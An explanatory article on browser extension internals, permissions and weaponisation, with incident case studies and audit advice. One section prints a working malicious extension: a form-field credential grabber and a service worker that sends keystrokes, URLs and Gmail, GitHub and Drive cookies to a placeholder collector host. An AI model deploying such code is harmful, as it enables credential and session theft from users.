How Browser Extensions Actually Work, And How They Get Weaponised
Try the interactive lab for this articleTake the quiz (6 questions · ~5 min)Most people install browser extensions the same way they install a weather widget on a phone: they click the blue button, skim the permission prompt, and forget about it. In practice, the small puzzle-piece icon at the top of Chrome, Edge, Brave, Opera, and Firefox is one of the most privileged pieces of software on a modern computer. An extension lives inside the browser process tree, can read and modify the content of every page you visit, can watch your network requests before TLS is torn down, can read and set cookies for sites you are logged into, can query your browsing history, and can talk to servers on the public internet without any of the same origin restrictions that constrain ordinary web pages.
That combination of power and casualness is the whole story of the browser extension threat model. A weather widget that turns malicious has almost no blast radius. A browser extension with "access your data on all websites" that turns malicious owns your online life until you notice and uninstall it, and often for a while after that because the damage is already done.
This article walks through what a browser extension actually is as a piece of software, how the pieces inside a .crx file work together, what the modern Chrome extension process model looks like under Manifest V3, how the permission system maps onto real browser capabilities, and then the darker half: how extensions get weaponised, what real incidents have looked like, and how to reason about the risk as a developer, a user, and a security engineer.
What Is Actually Inside A Browser Extension
A Chrome extension is a zip file. Rename it from .crx to .zip, unpack it, and you will find a small, flat tree of static assets that is indistinguishable from a small static website, plus one very specific file at the root called manifest.json. That manifest is the contract between the extension and the browser. It declares what the extension is, what it can do, what scripts it runs, what permissions it needs, and where each piece of its code lives inside the bundle.
A minimal Manifest V3 extension looks like this:
{
"manifest_version": 3,
"name": "Barcelona Weather Widget",
"version": "1.0.4",
"description": "Shows current temperature in Barcelona in the toolbar.",
"action": {
"default_popup": "popup.html",
"default_icon": "icon-32.png"
},
"background": {
"service_worker": "background.js"
},
"permissions": ["storage"],
"host_permissions": ["https://api.open-meteo.com/*"]
}Every field is declarative. There is no installer, no elevated process, no registry entry on Windows, no launchd plist on macOS. When you click "Add to Chrome" on the web store, the browser downloads the .crx, verifies its signature against the publisher key, unpacks it into the browser's profile directory, reads the manifest, and wires the extension into its runtime. On a Linux desktop this lives somewhere around ~/.config/google-chrome/Default/Extensions/<id>/<version>/, where <id> is a 32-character hash of the publisher key. If you open that directory, you will see the same files the publisher zipped up, with one exception: a _metadata folder that holds the verified hashes of each file so Chrome can detect tampering at load time.
The Chrome Web Store wraps the zip file in a CRX3 envelope with a publisher signature and a timestamp. Firefox uses a very similar format called an XPI, also a zip, also with an embedded manifest.json, and signs them with Mozilla's AMO signing key. Microsoft Edge uses CRX3 directly because Edge is Chromium. Because the on-disk format is so simple, you can take any CRX from the web store, pull it apart with unzip on the command line, and read every line of code the extension is running on your machine. In the rest of this article we will do exactly that when it matters.
Manifest V2 And The Move To V3
For most of the last decade, Chrome extensions ran under Manifest V2. In that model the background component was a long-lived HTML page (background.html) with its own DOM, its own JavaScript runtime, and its own persistent state. You could hold an in-memory cache, a WebSocket to your backend, a Pub/Sub subscription, for as long as the browser was open. You could also use chrome.webRequest to intercept and rewrite network requests before they hit the network stack, which is how classic adblockers like uBlock Origin and Adblock Plus were able to work efficiently.
Manifest V3 was announced in 2019 and became mandatory on the Chrome Web Store in 2024. It kept the high-level shape of extensions (manifest, content scripts, background logic, popup UI) but changed three things that matter for how modern extensions work:
- The long-lived background page was replaced by a service worker. A service worker is an event-driven script with no DOM, no persistent globals across restarts, and a runtime the browser can stop at any time to save memory. This is the same service worker primitive that normal websites use for offline caching; extensions just get a privileged version of it with the full
chrome.*API surface. - The blocking form of
chrome.webRequestwas removed for non-enterprise extensions. Extensions can still observe network requests, but they can no longer decide to block them in-process. Filtering is now done throughdeclarativeNetRequest, where the extension declares a static ruleset ahead of time and the browser applies it natively. - Remote code execution was closed off. Under V2, you could load arbitrary JavaScript from a remote URL and
evalit. Under V3, the content security policy is locked down so the extension can only execute code that shipped inside the bundle. This closes one of the loudest classes of supply chain vulnerabilities from the V2 era, where a tiny extension shell pulled its entire logic from an attacker controlled CDN at runtime.
Google's stated reason for V3 was security and performance. Developers of adblockers and privacy tools argued, loudly and correctly, that the loss of blocking webRequest kneecapped their ability to defend users. Both things are true at once. V3 genuinely shrinks the attack surface; it also removes a capability that was being used defensively. The practical effect for this article is that everything that follows assumes V3, because that is what new extensions ship against, but the core threat model has barely changed: a malicious extension with broad host permissions can still read the content of every page, still exfiltrate cookies, still phone home.
The Process Model: Where Extension Code Actually Runs
A Chrome extension is not a single program. It is several fragments of JavaScript that run in different processes, in different JavaScript realms, with different trust levels, and talk to each other through message passing. Understanding which code runs where is the single most important thing for reasoning about security.
The four main homes for extension code are:
The service worker. Background logic for the extension. Runs in its own process. Has the full chrome.* API available. Can be stopped and restarted by the browser at any time, so it has to treat everything as ephemeral and persist state in chrome.storage or IndexedDB. Typical responsibilities: install event handling, alarms, HTTP calls to the extension's backend, message routing between content scripts.
Content scripts. Small scripts injected into the web page you are looking at. They run in the same process as the page (the renderer process for that origin), which means they share a DOM with the page, but they run in a separate JavaScript realm called an isolated world. An isolated world is a parallel JavaScript environment that sees the same DOM nodes but has a separate global object, a separate set of prototypes, and a separate view of any JavaScript variable. If a page sets window.foo = 42, the content script does not see foo. If the content script adds a class to a button, the page sees the class. This isolation is what stops a malicious page from monkey-patching the content script's functions out from under it, and what stops the content script from accidentally leaking its internal state into the page's JavaScript.
Popup and options pages. Normal HTML pages that open when you click the toolbar icon or the "Extension Options" menu item. They run inside the browser UI process as extension-origin pages with the full chrome.* API. Closing the popup kills its JavaScript runtime entirely, so popups are stateless by design.
Offscreen documents. A V3 addition that lets the extension open a hidden HTML page to do things the service worker cannot, such as parsing HTML with a DOM, playing audio, or using navigator.clipboard. The extension can have at most one offscreen document at a time, and the browser will close it when it thinks it is idle.
The glue that holds these fragments together is chrome.runtime.sendMessage for one-off messages and chrome.runtime.connect for long-lived channels. Every message is tagged with the extension id, serialised as JSON, and dispatched by the browser across process boundaries. A content script that wants to log a page view to the extension backend might do this:
// content-script.js, injected into every page
const payload = {
type: 'pageview',
url: location.href,
title: document.title,
at: Date.now(),
}
chrome.runtime.sendMessage(payload)// background.js, the service worker
chrome.runtime.onMessage.addListener((msg, sender) => {
if (msg?.type !== 'pageview') return
fetch('https://telemetry.example.org/ingest', {
method: 'POST',
headers: { 'content-type': 'application/json' },
body: JSON.stringify({ ...msg, tab: sender.tab?.id }),
})
})That tiny snippet is also the most basic version of a history exfiltrator. Replace telemetry.example.org with an attacker-controlled domain and you have an extension that logs every URL you visit to a remote server. The content script sees the URL because it is injected into every page; the service worker ships it out because extension code is exempt from the same-origin policy when talking to declared host permissions, and can be configured to talk to arbitrary origins by declaring them in the manifest. The fact that this takes roughly ten lines of code is not an accident: the extension platform was designed to make useful integrations easy, and "read the current URL and send it to a server" is indistinguishable, at the API level, from the telemetry that a thousand legitimate extensions do.
Isolated Worlds, In Detail
The isolated world concept deserves its own paragraph because it is often misunderstood. When Chrome injects a content script into a page, the engine creates a new V8 context attached to the same DOM. Both the page and the content script can read and write DOM nodes, attributes, and event listeners; neither can see the other's JavaScript variables, classes, or function references. If a page defines a global fetch override, the content script still sees the original fetch. If the content script sets window.debug = true, the page cannot read it.
The isolation is enforced at the V8 engine level using the concept of a "world id" attached to each context. Every JavaScript object is tagged with the world it belongs to, and the DevTools and debugging infrastructure use these tags to route messages. When you open DevTools and switch the "JavaScript context" dropdown from the page origin to an extension name, you are literally changing which world the console runs against.
This is important for attack analysis. A malicious extension that wants to steal, for example, your Google session cannot just read document.cookie inside the content script, because the content script's cookies are tagged to the extension, not the page. It has to go through the service worker and the chrome.cookies API, which requires the cookies permission. If you see an extension ask for both "cookies" and host_permissions: ["<all_urls>"], it is in a position to harvest every authenticated session on every site you visit. That combination should always make you pause.
The Permission Model
The permission strings in manifest.json are the knobs that decide what an extension can actually do. They come in three flavours.
API permissions gate access to specific chrome.* APIs. "storage" unlocks chrome.storage.local. "cookies" unlocks chrome.cookies.get and friends. "tabs" unlocks the richer metadata on the Tab objects returned by chrome.tabs.query, including titles and URLs. "history" unlocks chrome.history.search, which returns every page you have ever visited. "downloads" unlocks the ability to start and cancel file downloads. "webRequest" still works in V3 for observation only. "debugger" unlocks the Chrome DevTools Protocol, which is a superpower we will come back to. "nativeMessaging" lets the extension talk to a companion binary on your computer over stdin/stdout. This is how password managers talk to hardware keys, and also how more sophisticated malicious extensions escape the browser sandbox.
Host permissions are URL patterns like "https://*.example.com/*" or "<all_urls>". They decide which pages the extension can inject content scripts into and which origins the extension's service worker is allowed to call from fetch. This is the field that silently determines the real blast radius of a compromise. An extension with host_permissions: ["<all_urls>"] can inject code into every page you open, observe every form you fill in, and exfiltrate the result. An extension with host_permissions: ["https://*.example.com/*"] can only do that for one company's domain.
Optional permissions let an extension declare capabilities that will only be requested at runtime with chrome.permissions.request. This is the well-behaved pattern: ask for storage at install time because you always need it, ask for history only when the user clicks a button that genuinely uses history, and hope the user says no if the request looks unexpected. In practice, very few users will distinguish a legitimate optional prompt from a malicious one, because the prompt text is whatever the browser decides to generate from the permission string, and that string is often dry enough to slide past.
When you install an extension with host_permissions: ["<all_urls>"], Chrome shows the warning "Read and change all your data on all websites". A non-trivial fraction of installed extensions have this permission. A 2023 study of the top 10,000 Chrome Web Store extensions by the CISPA Helmholtz Center in Saarbrücken found that roughly 1 in 5 requested host access to every site, and that the median number of installs for the subset of those extensions that had been flagged as malicious after publication was 1.2 million. The platform has always leaked power through this permission string, and the damage is not theoretical.
The Capability Inventory
With the permissions out of the way, it is worth enumerating what a well-permissioned extension can actually do with the page and the browser. This list is the attack surface as it exists today. Nothing here is a bug; everything here is the intended API.
Read and modify any page. A content script with "<all_urls>" can read the DOM, capture form inputs, change links, inject iframes, and trigger clicks. The content script runs after the page's DOM is parsed but before or after the page's own scripts depending on the run_at manifest entry. A malicious extension that wants to rewrite the destination of the "transfer" button on your online banking page has everything it needs to do that, provided the site does not rely on integrity checks that the extension cannot reach.
Read and write cookies for any site. With the "cookies" permission, chrome.cookies.getAll({}) returns every cookie in the browser, for every origin, including HttpOnly cookies. HttpOnly only hides a cookie from page JavaScript; extension APIs see it anyway. This is how a compromised extension can clone an authenticated session for any site you are logged into and replay it from an attacker server.
Observe every HTTP request. chrome.webRequest.onBeforeRequest fires for every network request in the tabs the extension has host access to, including the request bodies. A malicious extension can snapshot your GraphQL mutations, your API tokens on the Authorization header (visible at the request level for origins the extension has access to), and the JSON the server returns.
Walk your browsing history. chrome.history.search({ text: '', maxResults: 10000 }) returns the last ten thousand URLs you visited. Called in a loop with different date ranges, it returns everything. A history dump is one of the most valuable things a bulk data broker can get its hands on, because it uniquely identifies you and reveals your interests, employer, political beliefs, health queries, and purchase intent.
Capture tabs. chrome.tabs.captureVisibleTab returns a PNG screenshot of the currently visible tab. chrome.tabCapture can stream a tab as a MediaStream. Both are meant for screen-sharing and screenshot tools, and both are trivially weaponised as surveillance primitives.
Drive the debugger protocol. chrome.debugger.attach attaches to a tab as a DevTools client, which gives the extension the ability to run Runtime.evaluate in the page's own JavaScript realm. This is the escape hatch that lets an extension bypass the isolated world entirely and act as if it were the page. Chrome shows a persistent yellow bar at the top of the tab while a debugger is attached, which is the only friction against abuse.
Run a companion binary. chrome.runtime.connectNative('com.example.helper') opens a pipe to a binary registered on your machine under a specific host key. Legitimate uses include password manager agents, hardware token drivers, and enterprise DLP tools. Malicious uses include escaping the browser sandbox entirely, running arbitrary code on the host, and persisting after the extension is uninstalled.
Stacked together, these APIs turn an extension into a full-fidelity user simulator with network access. Everything you see, everything you type, every site you log into, every file you download, is reachable from a single compromised bundle.
How Extensions Get Weaponised
Extensions go bad in a surprisingly small number of distinct ways. Knowing the list is most of the defensive battle.
Malicious at creation. The simplest case: the extension was written by an attacker, published to the web store, and the user was tricked into installing it. Names and icons are copied from legitimate extensions, reviews are faked by bot farms, screenshots are borrowed. The web store review process catches the obvious cases, but the review is static analysis plus human spot checks against a very large queue. A well-crafted malicious extension that looks like a weather widget, works like a weather widget for the first two weeks, and then starts exfiltrating history on day fifteen will pass review. Case study: in 2020 a researcher named Jamila Kaya, working with Duo Security, found 500 Chrome extensions with roughly 1.7 million combined installs that all funnelled victims through the same ad fraud and data exfiltration infrastructure. The extensions had inoffensive names like Map Route and Weather Forecast, and had been on the web store for months.
Ownership transfer. An attacker buys a popular extension from its original developer, keeps publishing updates under the same extension id, and the existing user base auto-updates to the new version because Chrome's update mechanism is silent. The developer gets a few thousand euros, the attacker gets a few hundred thousand active installs that are pre-approved for whatever permissions the extension already holds. The canonical example is "The Great Suspender", a tab manager for Chrome with millions of installs, sold in mid-2020 to an unknown buyer whose next update introduced tracking and suspected ad fraud. Google removed it from the store in February 2021, but the removed extension kept running on users' machines until Chrome eventually blocklisted it.
Compromised update through publisher account takeover. The attacker does not buy the extension; they phish or steal the web store publisher's credentials. The next legitimate update from the publisher's perspective is written by the attacker. Every user auto-updates. In December 2024, this is what happened to Cyberhaven, a data loss prevention company whose own browser extension was updated with malicious code after an employee fell for a targeted phishing email that impersonated a Chrome Web Store policy notice. The malicious version reached Cyberhaven customers for roughly 24 hours, during which it attempted to harvest session cookies and auth tokens from specific SaaS applications. The incident pulled at least eighteen other extensions into the same campaign.
Supply chain compromise of a library. The extension developer is honest. The third-party npm package or minified JavaScript file they bundle is not. A compromised dependency can add a small piece of code to the extension's bundle that reads cookies, sends telemetry to a new endpoint, or watches for specific URL patterns. Because Manifest V3 forbids loading remote code at runtime, this kind of attack has to land in the bundle at build time, which is the same vector that causes server-side npm incidents. The result is the same: the malicious payload is signed by the honest developer's account and trusted by the browser.
Sideloading and policy abuse. On Windows, Chrome has supported enterprise policies and installer hooks that can silently install extensions without going through the web store. Adware bundles have exploited this for years by dropping a registry entry during the install of some free application, which Chrome then reads on next start and force-installs the extension. The victim sees a new icon in the toolbar and has no idea where it came from. This vector is diminishing as the store has tightened policies around external install, but it is still the most common way users end up with obviously malicious extensions.
Malvertising injection from a legitimate extension. Even when the extension itself is not malicious, an extension with "<all_urls>" that injects ads or affiliate links can be coerced into injecting attacker-controlled content if its ad network is compromised. This is a softer class of compromise that sits below the headline threshold but affects millions of users for weeks at a time.
The DataSpii Case, In Full Detail
Of all the public incidents, the one worth studying line by line is DataSpii, disclosed by researcher Sam Jadali in July 2019. Jadali noticed that search results from his company's internal domains were appearing in a product called Nacho Analytics, which sold "clickstream data". He traced the source back to seven browser extensions with a combined install base of over four million users. The extensions had been on the Chrome and Firefox web stores for years. They did exactly what they claimed to do, and they also collected every URL the user visited, including URLs with private query parameters, session tokens, and shared document links, and funnelled them through a chain of monetisation partners.
The technical mechanism was unremarkable: content scripts running with "<all_urls>" read location.href on each navigation and sent it to a server through the service worker. The impact was devastating because URLs are supposed to be private when they contain tokens. Nacho Analytics customers could search for terms and see matching URLs from real browsing sessions, which exposed internal Jira tickets, Zoom meeting links, medical records from Californian hospitals, Apple iCloud file download links, and private GitHub code. The incident was a clean demonstration of how much damage a supposedly inert piece of data (the URL bar content) can do when a population of millions of users shares it in real time.
Three lessons from DataSpii stuck. First, nobody looks at extensions after install; the extensions had been reporting the same data for years and nothing downstream flagged it. Second, URLs are secrets whenever they contain tokens, and every web app that puts session material in query parameters is one malicious extension away from disclosure. Third, the economics of clickstream data are strong enough to fund a long-term parasitic business model on top of the extension ecosystem, even when the individual extensions are otherwise functional.
What An Attack Actually Looks Like In Code
To make the abstract concrete, here is the full core of a hostile content script. This is the kind of thing you find in the wild after unpacking the CRX of a flagged extension.
// evil-content.js, injected at document_idle into every page
;(function () {
const host = location.hostname
const href = location.href
// Grab any obvious form fields the moment the user types in them
document.addEventListener('input', e => {
const t = e.target
if (!(t instanceof HTMLInputElement)) return
const name = (t.name || t.id || '').toLowerCase()
if (/pass|token|card|cvv|iban|email|otp/.test(name)) {
chrome.runtime.sendMessage({
kind: 'cred',
host,
field: name,
value: t.value,
})
}
}, true)
// Ship URL and document title on every load
chrome.runtime.sendMessage({ kind: 'nav', host, href, title: document.title })
})()// background.js, service worker
const EXFIL = 'https://collector.example.net/c'
chrome.runtime.onMessage.addListener(msg => {
// Batch and send over beacon-style POSTs
fetch(EXFIL, {
method: 'POST',
headers: { 'content-type': 'application/json' },
body: JSON.stringify({ t: Date.now(), ...msg }),
keepalive: true,
}).catch(() => {})
})
// Bonus: exfiltrate cookies for a target list on install
chrome.runtime.onInstalled.addListener(async () => {
const targets = [
'https://mail.google.com',
'https://github.com',
'https://drive.google.com',
]
for (const url of targets) {
const cookies = await chrome.cookies.getAll({ url })
fetch(EXFIL, {
method: 'POST',
headers: { 'content-type': 'application/json' },
body: JSON.stringify({ kind: 'cookie', url, cookies }),
keepalive: true,
}).catch(() => {})
}
})Read this code carefully. Nothing in it is "hacking". Every line uses a documented, stable, supported Chrome extension API. The attack is entirely a matter of intent: the permission strings in the manifest grant the capability, and this code just uses it. That is the core uncomfortable fact about the platform. You cannot tell a malicious extension from a legitimate one by looking at the API calls. You have to look at the data flow, at the destination servers, and at the context. And the web store reviewers have to do that for tens of thousands of new extensions per month.
A Note On Isolated Worlds And MAIN-World Injection
Manifest V3 added a second execution mode for content scripts called the MAIN world. When a content script is declared with "world": "MAIN", the browser still injects it on matching pages, but it runs directly in the page's own JavaScript realm, not in an isolated world. The extension loses the protection of a separate global object and takes on the page's prototypes, its monkey patches, and its security context. In exchange, the script gains the ability to read and write the page's own JavaScript variables, override fetch, hook into framework internals, and drive the page as if it were part of its source.
The MAIN world is useful for legitimate use cases such as analytics libraries that need to see what React is doing, or accessibility tools that need to call the page's own methods. It is also a direct path to surveillance. A MAIN-world content script on a banking page can wrap the page's fetch with its own function, log every request and response, and forward the results to the extension service worker without ever touching the DOM, which makes it invisible to integrity checks that look at rendered output. When you see "world": "MAIN" combined with "<all_urls>" in a manifest, the extension has opted out of every guarantee that the isolated world provided. That is not automatically malicious, but it raises the review bar for whatever the extension is doing, and it is a permission pattern that deserves a second look during any audit.
How To Audit An Extension You Already Have
If you want to check an extension you trust, the process is mechanical and takes roughly ten minutes.
First, find the extension id. Open chrome://extensions, enable Developer mode in the top right, and the id appears under each extension: a 32-character lowercase string like cjpalhdlnbpafiamejdnhcphjbkeiagm. Locate the extension directory on disk. On Linux it is under ~/.config/google-chrome/Default/Extensions/<id>/<version>/. On Windows it is under %LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions\<id>\<version>\. On macOS it is under ~/Library/Application Support/Google/Chrome/Default/Extensions/<id>/<version>/.
Open the manifest and read it top to bottom. Look at permissions, host_permissions, content_scripts, background, and externally_connectable. Anything that says "<all_urls>", "cookies", "debugger", "nativeMessaging", or "webRequest" deserves your attention. Cross-reference each permission with what the extension visibly does. A PDF viewer that wants cookies has some explaining to do.
Then read the actual JavaScript. Run each file through a beautifier if it is minified (js-beautify or prettier). Search for fetch(, XMLHttpRequest, navigator.sendBeacon, and WebSocket(. Every network call is a potential exfiltration endpoint. Search for chrome.cookies, chrome.history, chrome.tabs.captureVisibleTab, chrome.debugger, and chrome.scripting.executeScript. Each one is a high-value capability. Look at the URL patterns the scripts are injected into and the domains the background script calls.
Finally, watch it at runtime. Open the Chrome task manager (Shift+Esc), find the extension's service worker and any offscreen documents, and watch the network column. A weather widget that sends 200 requests an hour is a weather widget that is doing more than telling you the weather.
Defensive Posture For Users And Engineers
For a user, the short list is boring and effective. Install as few extensions as possible. Prefer extensions from publishers with a visible history (maintainers who write blog posts, file bug reports on GitHub, and answer emails). Pin the publisher name, not just the extension name, because look-alike extensions prey on name recognition. Read the permission dialog at install time and say no to "<all_urls>" for anything that is not an adblocker or a password manager. Periodically open chrome://extensions, delete anything you have not used in a month, and for the ones you keep, check that the publisher name and listing still match what you remember. Enable "Hover to check site access" and set extensions to "On click" rather than "On all sites" wherever possible, which moves them from passive injection to opt-in injection.
For a developer shipping an extension, the rules are tighter. Declare the narrowest possible permissions. Split host permissions by actual origin rather than using "<all_urls>" as a shortcut. Treat every dependency you bundle like a supply chain risk, pin versions, and run an SCA tool on every build. Enable 2FA on the Chrome Web Store publisher account. Use a hardware key. Store the signing key for Firefox XPIs offline. Put a GitHub action on the repo that diffs the manifest.json on every commit and fails CI if a permission is added. Document every API call your extension makes in the listing description so that a user or a reviewer can cross-check intent against behaviour.
For an enterprise, the problem is different. Extensions installed by employees are a form of shadow IT, and the cleanest control is group policy. Chrome's ExtensionInstallAllowlist and ExtensionInstallBlocklist policies let an administrator whitelist a specific set of extension ids for the fleet and block everything else. ExtensionInstallForcelist pushes approved extensions to every endpoint automatically. This is the control that actually works at scale, because it removes the decision from the user. Endpoint detection tools like Microsoft Defender for Cloud Apps and CrowdStrike Falcon now parse Chrome extension manifests on installed machines and raise alerts on risky permission combinations, which gives a security team a chance to react to a Cyberhaven-style supply chain event before it propagates far.
Why The Browser Vendor's Hands Are Tied
It is worth addressing the obvious question: why does Google not just stop this? The answer is that the web store review process is a hard problem, not a lazy one. Static analysis cannot distinguish intent. An extension that reads location.href and sends it to a server is telemetry, analytics, bookmark sync, or exfiltration depending on whose server it is, and the answer changes between releases. Dynamic analysis is expensive, bypassable with time-delayed payloads, and blind to any behaviour that only triggers on specific user contexts (for example, when the URL matches a banking domain). Google already runs all three of static review, dynamic sandbox analysis, and post-publish telemetry correlation, and every year a new wave of compromised extensions still reaches millions of users.
Manifest V3 removed the single worst vector (remote code loading) and made a lot of attacks harder, but the remaining threat model (legitimate code paths used for illegitimate purposes) is, at bottom, a trust problem. You are trusting the publisher not to update the extension into something hostile, and you are trusting Google to notice quickly when they do. History says both of those trusts are periodically violated. The only real mitigations are the ones that assume compromise and contain its blast radius: narrow permissions, slow update rollouts, enterprise allowlists, browser-level heuristics, and the personal discipline of uninstalling anything you do not need.
The Developer's Private Threat Model
If you are building an extension, there is one more angle worth thinking about. The extension publisher account is one of the most leveraged identities in your engineering organisation. Compromise of that account is, in effect, compromise of every machine running your extension. It is the closest thing in modern software development to the old "sign any binary with our codesigning cert" problem, and it deserves the same operational paranoia: a dedicated machine for the build and publish step, hardware-backed authentication, reviewed diffs between versions in a separate system of record, an out-of-band alert on every publish event, and a runbook for revocation and roll-back that has been rehearsed.
Most extension developers do none of this. The Chrome Web Store login sits in the same browser profile as everything else, the signing happens on a laptop that also runs the developer's email client and Slack, and the publish step is one click from the regular developer workflow. Every one of the 2024 supply chain incidents followed the same rough shape: a phishing email, a stolen session, a silent publish, and twenty-four hours of damage before anyone noticed. Treat the publisher identity with the seriousness it deserves, because from the user's machine it is indistinguishable from you.
Firefox, Safari, And The Other Stores
Everything above is written about Chrome because Chrome and its Chromium cousins (Edge, Brave, Opera, Vivaldi, Arc) share the same extension runtime and the same web store format. Firefox is close but not identical, and Safari is a different animal entirely.
Firefox extensions use the WebExtensions API, which is mostly the same as Chrome's chrome.* namespace but exposed under browser.* and with Promise-returning variants of most calls. Firefox still supports blocking webRequest under Manifest V3, which is why uBlock Origin continues to run in its full-power form there and not on Chrome. Firefox also runs content scripts in a slightly different isolation model called Xray vision, where the content script sees the DOM through a wrapper that hides any JavaScript objects the page attaches to DOM nodes. The effect is similar to Chrome's isolated worlds for day-to-day code, but the edge cases differ, and an attacker who understands both models can craft extensions that behave differently across the two browsers without anyone noticing. Firefox extensions are signed by Mozilla at submission time, and the signing is mandatory for release Firefox builds, which blocks one class of "just drop an XPI in the profile" malware on consumer machines.
Safari's model is the outlier. On macOS and iOS, a Safari extension is wrapped inside a normal native app bundle and distributed through the App Store. The extension code itself is still HTML, CSS, and JavaScript with a WebExtensions-compatible API, but it runs inside a container defined by the host app, subject to Apple's sandbox rules and code signing. This makes drive-by install impossible, forces every update through App Store review, and blocks a surprising number of capabilities (no arbitrary nativeMessaging, no attaching a debugger protocol session). The cost is that Safari extensions are much less powerful, which is why fewer exist, which is why the ones that do get much less attention from attackers.
Knowing these differences matters because the same extension publisher will often release Chrome, Firefox, and Safari builds from a shared codebase. Compromise of the shared source tree affects all three stores simultaneously, but the blast radius varies by browser, and the incident response playbook differs by vendor. A Chrome Web Store listing can be pulled and blocklisted within hours once Google is notified; a Safari extension has to wait for the next App Store review cycle. Treat each vendor as a separate deployment target during an incident, because they are.
The Native Messaging Escape Hatch
Native messaging is the most dangerous capability a browser extension can request, and it deserves a section of its own. When an extension declares "nativeMessaging" in its manifest, it can call chrome.runtime.connectNative('com.example.helper'), which looks up a matching manifest file on the local filesystem (placed there by an installer) and spawns the binary it points at. The extension and the binary then exchange length-prefixed JSON messages over stdin and stdout.
The intended use cases are legitimate and useful. Password managers like 1Password use native messaging to talk to a local helper binary that handles the real encryption, because JavaScript crypto inside the browser is less auditable and less fast than C code talking to the system keychain. Yubico uses native messaging to bridge hardware security keys on platforms where WebAuthn does not cover every corner case. Enterprise DLP tools use it to stream browser events into on-host agents.
The problem is that native messaging effectively breaks the browser sandbox. Once the native binary is running, it has the privileges of the logged-in user. It can read the filesystem, open network sockets, launch other processes, install startup items. The browser's job ends at the pipe. If the extension is compromised, the native binary is reachable. If the native binary is badly written (command injection in one of its JSON message handlers is a classic), the compromise gets an easy path from browser to host. If the native binary was installed by a malicious extension installer in the first place, the "uninstall extension" action in chrome://extensions does not remove it, because the binary lives outside the browser's profile directory.
Several real-world incidents have followed this pattern. In 2022 a campaign tracked by Check Point used a fake Chrome update page to install an extension plus a companion .dll registered as a native messaging host. Uninstalling the extension left the DLL in place, which quietly re-registered new extension ids on next browser launch, resurrecting itself. The only clean removal required booting into safe mode and deleting the DLL manually. Enterprise endpoints tend to catch these because EDR tools watch for new native messaging host registrations, but home users have no equivalent protection, and the defensive surface for "Chrome started a native binary" is thin.
The practical advice is simple: if you see "nativeMessaging" in an extension's manifest, the extension is functionally unsandboxed, and you should treat the install decision with the same weight as installing any other unsigned binary from the internet.
Fingerprinting And The Passive Side Channel
Even an extension with no malicious intent can leak information to the outside world just by being installed. The mechanism is called extension fingerprinting, and it exploits the fact that extensions inject resources (CSS, images, content scripts) into the page, and those injections leave observable traces that a hostile page can measure.
The classic technique is to try to load chrome-extension://<id>/<resource> from a page. Under Manifest V3, the list of web_accessible_resources is explicitly declared, and only those resources can be loaded from outside the extension. If a page successfully loads chrome-extension://aapocclcgogkmnckokdopfmhonfmgoek/popup.html, it knows the "Google Keep" extension is installed, because that id is the public identifier for that extension. Running this probe for the top 500 extensions takes a few milliseconds and produces a binary fingerprint of the user's browser that survives clearing cookies and changing IP addresses.
More subtle fingerprints come from the side effects of content scripts. An ad blocker that removes specific DOM elements leaves a measurable delta. A grammar checker that injects a specific <div> into every textarea leaves a detectable attribute. A shopping assistant that modifies outgoing form submissions produces a timing signature. The page cannot read the extension's code, but it can observe the extension's effects on the shared DOM, and those effects are usually unique per extension, per version.
Extension fingerprinting is already built into commercial trackers. It is how some anti-fraud services decide whether a session "looks suspicious" at login time: if your extension fingerprint does not match the one from your usual session, the risk engine escalates you to a challenge. It is also how certain surveillance platforms augment their user profiles with a persistent identifier that the user cannot easily clear. This is not "hacking" in the headline sense, but it is a privacy leak that extension developers rarely think about, and it is another reason to be sparing with the extensions you install.
The Update Channel
The most quietly important piece of the extension security model is the update mechanism. Chrome checks the Chrome Web Store for updates to every installed extension at regular intervals (roughly every five hours, with jitter) and on browser start. If an update is available, Chrome downloads the new CRX, verifies its signature against the extension's stored public key, and swaps the new version in. The user is not prompted, the old version is not archived, and there is no visible indication that anything changed unless the update triggers a permission prompt (which it only does if the new manifest asks for strictly more permissions than the old one).
This is a silent update channel with a trusted publisher at one end and millions of browsers at the other. It is the right choice from a security perspective for patching vulnerabilities quickly, and it is the wrong choice from a trust perspective when the publisher identity is compromised. Every supply chain incident in the extension ecosystem has used this same channel: the update is legitimate from Chrome's point of view, the signature verifies, the new permissions match the old ones, and the browser installs it everywhere within a few hours.
For enterprise fleets, the mitigation is to pin versions through group policy. ExtensionSettings supports minimum_version_required and update_url overrides that let an administrator force a specific version and only accept updates after internal review. This is the same model that Linux distributions use for package updates: upstream publishes, a gatekeeper reviews, then the fleet updates. It adds latency to security fixes, which is the cost, but it removes the silent-update vector, which is the benefit. Almost no home users have any equivalent control.
Chrome does offer a staged rollout infrastructure where publishers can release an update to a percentage of users first and watch for telemetry regressions before ramping to 100 per cent. Most publishers do not use it. An attacker who steals a publisher account will certainly not use it, because the point of the attack is to reach as many machines as possible before the incident is detected. The practical effect is that the time between "publisher is compromised" and "your browser runs the attacker's code" is measured in hours, not days, and the only signals available to the outside world during that window are abnormal network destinations and new capability calls, neither of which are monitored on most consumer machines.
What This Means For Labs And Quizzes
The interactive lab paired with this article walks through the lifecycle of an extension, step by step: install from the web store, manifest parse, permission grant, content script injection, message to the service worker, capability call (history, cookies, or page DOM), and exfiltration to a third party server. The beginner mode explains what the user would see and feel at each step. The advanced mode opens up the chrome.* API being used, the isolated world boundary being crossed, and the process it happens in. The goal is not to teach you to write a malicious extension. The goal is to make the capabilities concrete, so that next time you click "Add to Chrome" you have a mental model of what the little puzzle piece can actually do.
The companion quiz tests the three facts most users get wrong: that the same-origin policy does not apply to extensions the same way it does to pages, that HttpOnly cookies are visible to extensions with the cookies permission, and that an extension update is silent and implicit rather than requiring user consent. If you finish the article, the lab, and the quiz and come away uncomfortable about the five extensions currently pinned to your toolbar, that is the correct reaction. The fix is not to use a browser without extensions. The fix is to treat each one as a running program with root on your browsing session, because functionally that is what it is.